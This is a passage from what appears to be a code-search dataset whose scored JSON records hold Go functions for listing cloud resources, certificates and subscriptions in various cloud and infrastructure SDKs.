nil\n\n}", "title": "" }, { "docid": "8772ecba5753bcdb496cd35e933ce049", "score": "0.47606337", "text": "func (r *InterconnectAttachmentsService) AggregatedList(project string) *InterconnectAttachmentsAggregatedListCall {\n\tc := &InterconnectAttachmentsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "3d52307d2ee41003a88c12cf3715e9cc", "score": "0.47542208", "text": "func (r *TargetPoolsService) AggregatedList(project string) *TargetPoolsAggregatedListCall {\n\tc := &TargetPoolsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "57e0be526f9ffeb8338382b41327f6c4", "score": "0.4744257", "text": "func (r *VpnGatewaysService) AggregatedList(project string) *VpnGatewaysAggregatedListCall {\n\tc := &VpnGatewaysAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "17fd20f50f9738fd018711b1fa39c00b", "score": "0.47343436", "text": "func (r *NetworkAttachmentsService) AggregatedList(project string) *NetworkAttachmentsAggregatedListCall {\n\tc := &NetworkAttachmentsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "64ac944f0a398ea8b4ee3e8dc09a3208", "score": "0.47231787", "text": "func getAllResourceGroups(s *secret.SecretItemResponse) ([]*resources.Group, error) {\n\trgClient := resources.NewGroupsClient(s.GetValue(pkgSecret.AzureSubscriptionId))\n\tauthorizer, err := newAuthorizer(s)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trgClient.Authorizer = authorizer\n\n\tresourceGroupsPages, err := rgClient.List(context.TODO(), \"\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar groups []*resources.Group\n\tfor resourceGroupsPages.NotDone() {\n\t\tresourceGroupsChunk := resourceGroupsPages.Values()\n\n\t\tfor i := 0; i < len(resourceGroupsChunk); i++ {\n\t\t\tgroups = append(groups, &resourceGroupsChunk[i])\n\t\t}\n\n\t\tif err = resourceGroupsPages.Next(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\treturn groups, nil\n}", "title": "" }, { "docid": "407a510312a64911c7196c51014f217d", "score": "0.46895322", "text": "func ResourceList(ctx context.Context, client *Client, namespaced bool) ([]resource.Resource, error) {\n\tscopedResources, err := resource.ResourceList(ctx, client.Logger, client.serverResources, namespaced)\n\tif err != nil {\n\t\t// TODO: consider if we want a typed-error\n\t\treturn nil, err\n\t}\n\treturn scopedResources, nil\n}", "title": "" }, { "docid": "13f9187bb803b62930b70e5db7b1895d", "score": "0.46894404", "text": "func (r *PacketMirroringsService) AggregatedList(project string) *PacketMirroringsAggregatedListCall {\n\tc := &PacketMirroringsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "93a392c170011d0d016f05155218fcf1", "score": "0.46670663", "text": "func (r *NetworkEndpointGroupsService) AggregatedList(project string) *NetworkEndpointGroupsAggregatedListCall {\n\tc := &NetworkEndpointGroupsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "d157851737812635b7c0bf1abccb8eae", "score": "0.46497348", "text": "func getProjectList(w http.ResponseWriter, r *http.Request) {\n\tac := GetAppContext(r)\n\tresponse := reply.NewReply()\n\n\tprojects := storage.GetProjects(ac.Db)\n\tresponse.Success(w, \"Obtained project list\", projects)\n}", "title": "" }, { "docid": "058131126a1d2764af72c4ef62f167f9", "score": "0.46412712", "text": "func (r *InstancesService) AggregatedList(project string) *InstancesAggregatedListCall {\n\tc := &InstancesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "2391b532ce771e44fe4d4ade64b55b3b", "score": "0.46361077", "text": "func (r *TargetVpnGatewaysService) AggregatedList(project string) *TargetVpnGatewaysAggregatedListCall {\n\tc := &TargetVpnGatewaysAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "208621148a41c52fb3ae54457d2398b5", "score": "0.46293733", "text": "func (c App) getProjectsRevokedCerts(projectId int) []*models.RevokedCertificate {\n\tvar revoked []*models.RevokedCertificate\n\t_, err := c.Txn.Select(&revoked, `select RevokedCertificate.* from RevokedCertificate, Certificate where Certificate.ProjectId = ? and RevokedCertificate.CertificateId = Certificate.Id`, projectId)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn revoked\n}", "title": "" }, { "docid": "580b542640090aa890130778595095e9", "score": "0.462763", "text": "func GetAllHostsWithProject(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tproject, _ := params[\"project\"]\n\tallhosts, err := pgClient.GetAllHostsWithProject(project)\n\tif err != nil {\n\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Get All hosts with project error\", err))\n\t\treturn\n\t}\n\terr = json.NewEncoder(w).Encode(allhosts)\n\tif err != nil {\n\t\terrorImpl.WriteHTTPError(w, http.StatusInternalServerError, errorImpl.AdminsError(\"Encode get all host with project error\", err))\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "20ae450db2ce5724a1809e30e2eccbca", "score": "0.45882693", "text": "func (c *client) AggregatedListSubnetworks(project string, opts ...ListCallOption) ([]*compute.Subnetwork, error) {\n\tvar ss []*compute.Subnetwork\n\tvar pt string\n\tcall := c.raw.Subnetworks.AggregatedList(project)\n\tfor _, opt := range opts {\n\t\tcall = opt.listCallOptionApply(call).(*compute.SubnetworksAggregatedListCall)\n\t}\n\tfor sal, err := call.PageToken(pt).Do(); ; sal, err = call.PageToken(pt).Do() {\n\t\tif shouldRetryWithWait(c.hc.Transport, err, 2) {\n\t\t\tsal, err = call.PageToken(pt).Do()\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, sl := range sal.Items {\n\t\t\tss = append(ss, sl.Subnetworks...)\n\t\t}\n\t\tif sal.NextPageToken == \"\" {\n\t\t\treturn ss, nil\n\t\t}\n\t\tpt = sal.NextPageToken\n\t}\n}", "title": "" }, { "docid": "5c05ede6ecd10f6c9d5f191464f73f5c", "score": "0.45849288", "text": "func (client *Client) ListVpnCertificateAssociationsWithOptions(request *ListVpnCertificateAssociationsRequest, runtime *util.RuntimeOptions) (_result *ListVpnCertificateAssociationsResponse, _err error) {\n\t_err = util.ValidateModel(request)\n\tif _err != nil {\n\t\treturn _result, _err\n\t}\n\tquery := map[string]interface{}{}\n\tif !tea.BoolValue(util.IsUnset(request.CertificateId)) {\n\t\tquery[\"CertificateId\"] = request.CertificateId\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.CertificateType)) {\n\t\tquery[\"CertificateType\"] = request.CertificateType\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.MaxResults)) {\n\t\tquery[\"MaxResults\"] = request.MaxResults\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.NextToken)) {\n\t\tquery[\"NextToken\"] = request.NextToken\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.RegionId)) {\n\t\tquery[\"RegionId\"] = request.RegionId\n\t}\n\n\tif !tea.BoolValue(util.IsUnset(request.VpnGatewayId)) {\n\t\tquery[\"VpnGatewayId\"] = request.VpnGatewayId\n\t}\n\n\treq := &openapi.OpenApiRequest{\n\t\tQuery: openapiutil.Query(query),\n\t}\n\tparams := &openapi.Params{\n\t\tAction: tea.String(\"ListVpnCertificateAssociations\"),\n\t\tVersion: tea.String(\"2016-04-28\"),\n\t\tProtocol: tea.String(\"HTTPS\"),\n\t\tPathname: tea.String(\"/\"),\n\t\tMethod: tea.String(\"POST\"),\n\t\tAuthType: tea.String(\"AK\"),\n\t\tStyle: tea.String(\"RPC\"),\n\t\tReqBodyType: tea.String(\"formData\"),\n\t\tBodyType: tea.String(\"json\"),\n\t}\n\t_result = &ListVpnCertificateAssociationsResponse{}\n\t_body, _err := client.CallApi(params, req, runtime)\n\tif _err != nil {\n\t\treturn _result, _err\n\t}\n\t_err = tea.Convert(_body, &_result)\n\treturn _result, _err\n}", "title": "" }, { "docid": "30c9fa7656e844f0fe4a2845086e0fad", "score": "0.45709422", "text": "func (r *GlobalOperationsService) List(project string) *GlobalOperationsListCall {\n\tc := &GlobalOperationsListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "b197faa41f8a5f9b8e95bde0f6055ba2", "score": "0.4567715", "text": "func (cf CloudFormation) GetRegionalProjectResources(project *archer.Project) ([]*archer.ProjectRegionalResources, error) {\n\tresources, err := cf.getResourcesForStackInstances(project, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"describing project resources: %w\", err)\n\t}\n\treturn resources, nil\n}", "title": "" }, { "docid": "e47859ed24fb18fe2a23174060dcf41f", "score": "0.45468348", "text": "func ListResourceGroups(ctx context.Context, config azconfig.AZConfig) (groups []resources.Group) {\n\tgroupsClient := resources.NewGroupsClient(config.SubscriptionID)\n\tfor iter, err := groupsClient.ListComplete(ctx, \"\", nil); iter.NotDone(); {\n\t\tif err != nil {\n\t\t\tlogrus.Fatal(\"got error unable to list resource group\")\n\t\t}\n\t\tgroups = append(groups, iter.Value())\n\t}\n\treturn\n}", "title": "" }, { "docid": "8d2a266f6a43f7e18c93907dcf334eaa", "score": "0.45357296", "text": "func ListReferencedCertificates(c common.Client, link string) ([]*Certificate, error) { //nolint:dupl\n\tvar result []*Certificate\n\tif link == \"\" {\n\t\treturn result, nil\n\t}\n\n\ttype GetResult struct {\n\t\tItem *Certificate\n\t\tLink string\n\t\tError error\n\t}\n\n\tch := make(chan GetResult)\n\tcollectionError := common.NewCollectionError()\n\tget := func(link string) {\n\t\tcertificate, err := GetCertificate(c, link)\n\t\tch <- GetResult{Item: certificate, Link: link, Error: err}\n\t}\n\n\tgo func() {\n\t\terr := common.CollectList(get, c, link)\n\t\tif err != nil {\n\t\t\tcollectionError.Failures[link] = err\n\t\t}\n\t\tclose(ch)\n\t}()\n\n\tfor r := range ch {\n\t\tif r.Error != nil {\n\t\t\tcollectionError.Failures[r.Link] = r.Error\n\t\t} else {\n\t\t\tresult = append(result, r.Item)\n\t\t}\n\t}\n\n\tif collectionError.Empty() {\n\t\treturn result, nil\n\t}\n\n\treturn result, collectionError\n}", "title": "" }, { "docid": "12b24da67c0d843b11ccc4e51cfe1572", "score": "0.45338756", "text": "func (c *restClient) ListCertificates(ctx context.Context, req *certificatemanagerpb.ListCertificatesRequest, opts ...gax.CallOption) *CertificateIterator {\n\tit := &CertificateIterator{}\n\treq = proto.Clone(req).(*certificatemanagerpb.ListCertificatesRequest)\n\tunm := protojson.UnmarshalOptions{AllowPartial: true, DiscardUnknown: true}\n\tit.InternalFetch = func(pageSize int, pageToken string) ([]*certificatemanagerpb.Certificate, string, error) {\n\t\tresp := &certificatemanagerpb.ListCertificatesResponse{}\n\t\tif pageToken != \"\" {\n\t\t\treq.PageToken = pageToken\n\t\t}\n\t\tif pageSize > math.MaxInt32 {\n\t\t\treq.PageSize = math.MaxInt32\n\t\t} else if pageSize != 0 {\n\t\t\treq.PageSize = int32(pageSize)\n\t\t}\n\t\tbaseUrl, err := url.Parse(c.endpoint)\n\t\tif err != nil {\n\t\t\treturn nil, \"\", err\n\t\t}\n\t\tbaseUrl.Path += fmt.Sprintf(\"/v1/%v/certificates\", req.GetParent())\n\n\t\tparams := url.Values{}\n\t\tparams.Add(\"$alt\", \"json;enum-encoding=int\")\n\t\tif req.GetFilter() != \"\" {\n\t\t\tparams.Add(\"filter\", fmt.Sprintf(\"%v\", req.GetFilter()))\n\t\t}\n\t\tif req.GetOrderBy() != \"\" {\n\t\t\tparams.Add(\"orderBy\", fmt.Sprintf(\"%v\", req.GetOrderBy()))\n\t\t}\n\t\tif req.GetPageSize() != 0 {\n\t\t\tparams.Add(\"pageSize\", fmt.Sprintf(\"%v\", req.GetPageSize()))\n\t\t}\n\t\tif req.GetPageToken() != \"\" {\n\t\t\tparams.Add(\"pageToken\", fmt.Sprintf(\"%v\", req.GetPageToken()))\n\t\t}\n\n\t\tbaseUrl.RawQuery = params.Encode()\n\n\t\t// Build HTTP headers from client and context metadata.\n\t\thds := append(c.xGoogHeaders, \"Content-Type\", \"application/json\")\n\t\theaders := gax.BuildHeaders(ctx, hds...)\n\t\te := gax.Invoke(ctx, func(ctx context.Context, settings gax.CallSettings) error {\n\t\t\tif settings.Path != \"\" {\n\t\t\t\tbaseUrl.Path = settings.Path\n\t\t\t}\n\t\t\thttpReq, err := http.NewRequest(\"GET\", baseUrl.String(), nil)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\thttpReq.Header = headers\n\n\t\t\thttpRsp, err := c.httpClient.Do(httpReq)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer httpRsp.Body.Close()\n\n\t\t\tif err = googleapi.CheckResponse(httpRsp); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tbuf, err := io.ReadAll(httpRsp.Body)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif err := unm.Unmarshal(buf, resp); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}, opts...)\n\t\tif e != nil {\n\t\t\treturn nil, \"\", e\n\t\t}\n\t\tit.Response = resp\n\t\treturn resp.GetCertificates(), resp.GetNextPageToken(), nil\n\t}\n\n\tfetch := func(pageSize int, pageToken string) (string, error) {\n\t\titems, nextPageToken, err := it.InternalFetch(pageSize, pageToken)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tit.items = append(it.items, items...)\n\t\treturn nextPageToken, nil\n\t}\n\n\tit.pageInfo, it.nextFunc = iterator.NewPageInfo(fetch, it.bufLen, it.takeBuf)\n\tit.pageInfo.MaxSize = int(req.GetPageSize())\n\tit.pageInfo.Token = req.GetPageToken()\n\n\treturn it\n}", "title": "" }, { "docid": "75dc5f107d90dff4769e3cb1caa6c8ae", "score": "0.4529273", "text": "func (l7 *L7) getIngressManagedSslCerts() ([]*composite.SslCertificate, error) {\n\tvar result []*composite.SslCertificate\n\n\t// Currently we list all certs available in gcloud and filter the ones managed by this loadbalancer instance. This is\n\t// to make sure we garbage collect any old certs that this instance might have lost track of due to crashes.\n\t// Can be a performance issue if there are too many global certs, default quota is only 10.\n\t// Use an empty name parameter since we only care about the scope\n\t// TODO: (shance) refactor this so we don't need an empty arg\n\tkey, err := l7.CreateKey(\"\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tversion := l7.Versions().SslCertificate\n\tcerts, err := composite.ListSslCertificates(l7.cloud, key, version)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfor _, c := range certs {\n\t\tif l7.namer.IsCertNameForLB(c.Name) {\n\t\t\tklog.V(4).Infof(\"Populating ssl cert %s for l7 %s\", c.Name, l7)\n\t\t\tresult = append(result, c)\n\t\t}\n\t}\n\tif len(result) == 0 {\n\t\t// Check for legacy cert since that follows a different naming convention\n\t\tklog.V(4).Infof(\"Looking for legacy ssl certs\")\n\t\texpectedCertLinks, err := l7.getSslCertLinkInUse()\n\t\tif err != nil {\n\t\t\t// Return nil if target proxy doesn't exist.\n\t\t\treturn nil, utils.IgnoreHTTPNotFound(err)\n\t\t}\n\t\tfor _, link := range expectedCertLinks {\n\t\t\t// Retrieve the certificate and ignore error if certificate wasn't found\n\t\t\tname, err := utils.KeyName(link)\n\t\t\tif err != nil {\n\t\t\t\tklog.Warningf(\"error parsing cert name: %v\", err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif !l7.namer.IsLegacySSLCert(name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tkey, err := l7.CreateKey(name)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tcert, _ := composite.GetSslCertificate(l7.cloud, key, version)\n\t\t\tif cert != nil {\n\t\t\t\tklog.V(4).Infof(\"Populating legacy ssl cert %s for l7 %s\", cert.Name, l7)\n\t\t\t\tresult = append(result, cert)\n\t\t\t}\n\t\t}\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "95ea7101ddf90431ec19452e32b0556a", "score": "0.45274156", "text": "func (c *client) ListLicenses(project string, opts ...ListCallOption) ([]*compute.License, error) {\n\tvar ls []*compute.License\n\tvar pt string\n\tcall := c.raw.Licenses.List(project)\n\tfor _, opt := range opts {\n\t\tcall = opt.listCallOptionApply(call).(*compute.LicensesListCall)\n\t}\n\tfor ll, err := call.PageToken(pt).Do(); ; ll, err = call.PageToken(pt).Do() {\n\t\tif shouldRetryWithWait(c.hc.Transport, err, 2) {\n\t\t\tll, err = call.PageToken(pt).Do()\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tls = append(ls, ll.Items...)\n\n\t\tif ll.NextPageToken == \"\" {\n\t\t\treturn ls, nil\n\t\t}\n\t\tpt = ll.NextPageToken\n\t}\n}", "title": "" }, { "docid": "62432b0294e5da675ad16b0169eba0a7", "score": "0.45226187", "text": "func (r *InterconnectsService) List(project string) *InterconnectsListCall {\n\tc := &InterconnectsListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "dd90921b9d703aaa7c9a1533320cc57c", "score": "0.45118552", "text": "func (c *cgroupStoreManager) ListCgroupResourceRangeStats(start, end time.Time, count int,\n\tclassFilter sets.String) (map[string][]*CgroupStats, error) {\n\ttotalCgStats := make(map[string][]*CgroupStats)\n\n\tc.cacheLock.RLock()\n\tdefer c.cacheLock.RUnlock()\n\tfor k, cgCache := range c.caches {\n\t\tif classFilter.Len() != 0 {\n\t\t\titem := cgCache.Get(0).(*CgroupStats)\n\t\t\tif !classFilter.Has(string(item.Ref.AppClass)) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tvar cgStats []*CgroupStats\n\t\titems := cgCache.InTimeRange(start, end, count)\n\t\tfor _, i := range items {\n\t\t\tcgStats = append(cgStats, i.(*CgroupStats))\n\t\t}\n\t\ttotalCgStats[k] = cgStats\n\t}\n\n\treturn totalCgStats, nil\n}", "title": "" }, { "docid": "4209bee999ca27b830a115bcb029f9ab", "score": "0.45063108", "text": "func (s ConfigAggregationAuthorization) CfnResourceAttributes() []string {\n\treturn []string{}\n}", "title": "" }, { "docid": "225ffd130b031230264de8f4e6794d49", "score": "0.45054257", "text": "func (c *PredictionJobController) ListAllInProject(r *http.Request, vars map[string]string, body interface{}) *Response {\n\tctx := r.Context()\n\n\tvar query service.ListPredictionJobQuery\n\terr := decoder.Decode(&query, r.URL.Query())\n\tprojectID, _ := models.ParseID(vars[\"project_id\"])\n\n\tproject, err := c.ProjectsService.GetByID(ctx, int32(projectID))\n\tif err != nil {\n\t\treturn NotFound(err.Error())\n\t}\n\n\tjobs, err := c.PredictionJobService.ListPredictionJobs(project, &query)\n\tif err != nil {\n\t\tlog.Errorf(\"failed to list all prediction job for model \")\n\t\treturn InternalServerError(\"Failed listing prediction job\")\n\t}\n\n\treturn Ok(jobs)\n}", "title": "" }, { "docid": "8f1fb470f1780e6445ec761abbe1deba", "score": "0.45039123", "text": "func pathListCertificates(b *backend) *framework.Path {\n\treturn &framework.Path{\n\t\tPattern: \"config/certificates/?\",\n\n\t\tCallbacks: map[logical.Operation]framework.OperationFunc{\n\t\t\tlogical.ListOperation: b.pathCertificatesList,\n\t\t},\n\n\t\tHelpSynopsis: pathListCertificatesHelpSyn,\n\t\tHelpDescription: pathListCertificatesHelpDesc,\n\t}\n}", "title": "" }, { "docid": "f5463149f5620a614070c98e7c5dd65c", "score": "0.44781464", "text": "func (r *NodeGroupsService) AggregatedList(project string) *NodeGroupsAggregatedListCall {\n\tc := &NodeGroupsAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "955f6e78803b1c6673c6780993de5c6e", "score": "0.44756502", "text": "func (c *SslCertificatesAggregatedListCall) IncludeAllScopes(includeAllScopes bool) *SslCertificatesAggregatedListCall {\n\tc.urlParams_.Set(\"includeAllScopes\", fmt.Sprint(includeAllScopes))\n\treturn c\n}", "title": "" }, { "docid": "0d7c906fcb4722adcad6cd983b262538", "score": "0.44755027", "text": "func (client SubscriptionClient) listSubscriptions(ctx context.Context, request common.OCIRequest, binaryReqBody *common.OCIReadSeekCloser, extraHeaders map[string]string) (common.OCIResponse, error) {\n\n\thttpRequest, err := request.HTTPRequest(http.MethodGet, \"/subscriptions\", binaryReqBody, extraHeaders)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar response ListSubscriptionsResponse\n\tvar httpResponse *http.Response\n\thttpResponse, err = client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn response, err\n}", "title": "" }, { "docid": "af56eae347cdbcfed3f99ee7feaad05a", "score": "0.4465379", "text": "func (r *SslPoliciesService) List(project string) *SslPoliciesListCall {\n\tc := &SslPoliciesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "faa6db42aa6c652caeb65cbdea1f6dc9", "score": "0.44637856", "text": "func (client IdentityClient) ListRegionSubscriptions(ctx context.Context, request ListRegionSubscriptionsRequest) (response ListRegionSubscriptionsResponse, err error) {\n\thttpRequest, err := common.MakeDefaultHTTPRequestWithTaggedStruct(http.MethodGet, \"/tenancies/{tenancyId}/regionSubscriptions\", request)\n\tif err != nil {\n\t\treturn\n\t}\n\n\thttpResponse, err := client.Call(ctx, &httpRequest)\n\tdefer common.CloseBodyIfValid(httpResponse)\n\tresponse.RawResponse = httpResponse\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = common.UnmarshalResponse(httpResponse, &response)\n\treturn\n}", "title": "" }, { "docid": "2d04303590c903d83fe853b7147b2bdc", "score": "0.44618064", "text": "func (r *TargetInstancesService) AggregatedList(project string) *TargetInstancesAggregatedListCall {\n\tc := &TargetInstancesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "29073a033df07c359583200d75de678b", "score": "0.44595408", "text": "func (r *AcceleratorTypesService) AggregatedList(project string) *AcceleratorTypesAggregatedListCall {\n\tc := &AcceleratorTypesAggregatedListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "5535973427f80d6c3d5c794f28d54bdb", "score": "0.44476426", "text": "func (r *GlobalAddressesService) List(project string) *GlobalAddressesListCall {\n\tc := &GlobalAddressesListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "77316be8fc8307b89307c65361051c82", "score": "0.44347987", "text": "func (r *RegionsService) List(project string) *RegionsListCall {\n\tc := &RegionsListCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.project = project\n\treturn c\n}", "title": "" }, { "docid": "a51faa525bcd582e5e0df5c37b4c95ca", "score": "0.4433924", "text": "func (a *api) ListCertificateV1(\n\tctx context.Context,\n\treq *desc.ListCertificateV1Request,\n) (*desc.ListCertificateV1Response, error) {\n\tlistCertificates, err := a.repo.ListCertificates(ctx, req.Limit, req.Offset)\n\tif err != nil {\n\t\tlog.Error().Err(err).Msg(\"failed get list certificates\")\n\t\treturn nil, status.Error(codes.Internal, \"failed get list certificates\")\n\t}\n\n\ttracer := opentracing.GlobalTracer()\n\tspan := tracer.StartSpan(\"ListCertificateV1Request\")\n\tdefer span.Finish()\n\n\tlog.Info().Msgf(\"found count certificates: %d\", len(listCertificates))\n\n\tcertificates := make([]*desc.GetCertificateV1Response, 0, len(listCertificates))\n\tfor _, certificate := range listCertificates {\n\t\tcert := &desc.GetCertificateV1Response{\n\t\t\tId: certificate.ID,\n\t\t\tUserId: certificate.UserID,\n\t\t\tCreated: timestamppb.New(certificate.Created),\n\t\t\tLink: certificate.Link,\n\t\t}\n\n\t\tcertificates = append(certificates, cert)\n\t}\n\n\tchildSpan := tracer.StartSpan(\n\t\tfmt.Sprintf(\"Found count cerificates: %d\", len(listCertificates)),\n\t\topentracing.ChildOf(span.Context()),\n\t)\n\tdefer childSpan.Finish()\n\n\tresponse := &desc.ListCertificateV1Response{\n\t\tCertificates: certificates,\n\t}\n\n\tlog.Info().Msg(\"reading of the certificates was successful\")\n\n\treturn response, nil\n}", "title": "" }, { "docid": "ee889d737e5154893ca8ec735ecee3d5", "score": "0.44335648", "text": "func (s *SmartContract) GetAllCerts(ctx contractapi.TransactionContextInterface) ([]QueryCertTrack, error) {\n\tstartKey := \"\"\n\tendKey := \"\"\n\n\tresultsIterator, err := ctx.GetStub().GetStateByRange(startKey, endKey)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resultsIterator.Close()\n\n\tresults := []QueryCertTrack{}\n\n\tfor resultsIterator.HasNext() {\n\t\tqueryResponse, err := resultsIterator.Next()\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcertTrack := new(CertTrack)\n\n\t\t_ = json.Unmarshal(queryResponse.Value, certTrack)\n\n\t\tqueryCertTrack := QueryCertTrack{\n\t\t\tCertID: queryResponse.Key,\n\t\t\tCert: certTrack,\n\t\t}\n\n\t\tresults = append(results, queryCertTrack)\n\t}\n\n\treturn results, nil\n}", "title": "" }, { "docid": "acbd177d5696163455e5947985799370", "score": "0.44326767", "text": "func (client PoolClient) List(filter string, selectParameter string, expand string, maxResults *int32, timeout *int32, clientRequestID *uuid.UUID, returnClientRequestID *bool, ocpDate *date.TimeRFC1123) (result CloudPoolListResult, err error) {\n\tif err := validation.Validate([]validation.Validation{\n\t\t{TargetValue: maxResults,\n\t\t\tConstraints: []validation.Constraint{{Target: \"maxResults\", Name: validation.Null, Rule: false,\n\t\t\t\tChain: []validation.Constraint{{Target: \"maxResults\", Name: validation.InclusiveMaximum, Rule: 1000, Chain: nil},\n\t\t\t\t\t{Target: \"maxResults\", Name: validation.InclusiveMinimum, Rule: 1, Chain: nil},\n\t\t\t\t}}}}}); err != nil {\n\t\treturn result, validation.NewErrorWithValidationError(err, \"batchservice.PoolClient\", \"List\")\n\t}\n\n\treq, err := client.ListPreparer(filter, selectParameter, expand, maxResults, timeout, clientRequestID, returnClientRequestID, ocpDate)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"batchservice.PoolClient\", \"List\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.ListSender(req)\n\tif err != nil {\n\t\tresult.Response = autorest.Response{Response: resp}\n\t\terr = autorest.NewErrorWithError(err, \"batchservice.PoolClient\", \"List\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult, err = client.ListResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"batchservice.PoolClient\", \"List\", resp, \"Failure responding to request\")\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "728e251e67996da3f2f95b004dfb9b23", "score": "0.44321367", "text": "func (r *FirewallOnDemandCompilationResource) ListAll() (*FirewallOnDemandCompilationConfigList, error) {\n\tvar list FirewallOnDemandCompilationConfigList\n\tif err := r.c.ReadQuery(BasePath+FirewallOnDemandCompilationEndpoint, &list); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &list, nil\n}", "title": "" }, { "docid": "918f6dd5b3fab65b5e4a928b1c692521", "score": "0.44123834", "text": "func (r *GCPReader) ListManagedSslCertificates(ctx context.Context, filter string) ([]compute.SslCertificate, error) {\n\tservice := compute.NewSslCertificatesService(r.compute)\n\n\tresources := make([]compute.SslCertificate, 0)\n\n\terr := service.List(r.project).\n\t\tFilter(filter).\n\t\tMaxResults(int64(r.maxResults)).\n\t\tPages(ctx, func(list *compute.SslCertificateList) error {\n\t\t\tfor _, res := range list.Items {\n\t\t\t\tresources = append(resources, *res)\n\t\t\t}\n\t\t\treturn nil\n\t\t})\n\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"unable to list compute SslCertificate from google APIs\")\n\t}\n\n\treturn resources, nil\n\n}", "title": "" }, { "docid": "47fb3204db302d2a298053319d4d0e78", "score": "0.44036967", "text": "func AllCertificates(tx *sql.Tx) ([]*Certificate, error) {\n\trows, err := tx.Query(\"SELECT * FROM certificates\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar certificates []*Certificate\n\tfor rows.Next() {\n\t\tcert := &Certificate{}\n\t\terr = rows.Scan(&cert.SKI, &cert.AKI, &cert.Serial, &cert.NotBefore,\n\t\t\t&cert.NotAfter, &cert.Raw)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcert.cert, err = x509.ParseCertificate(cert.Raw)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tcertificates = append(certificates, cert)\n\t}\n\n\treturn certificates, err\n}", "title": "" }, { "docid": "c7f5d3e7e07b1869692472a847cd381e", "score": "0.43930823", "text": "func (client AppsClient) ListConnectionStrings(ctx context.Context, resourceGroupName string, name string) (result ConnectionStringDictionary, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, 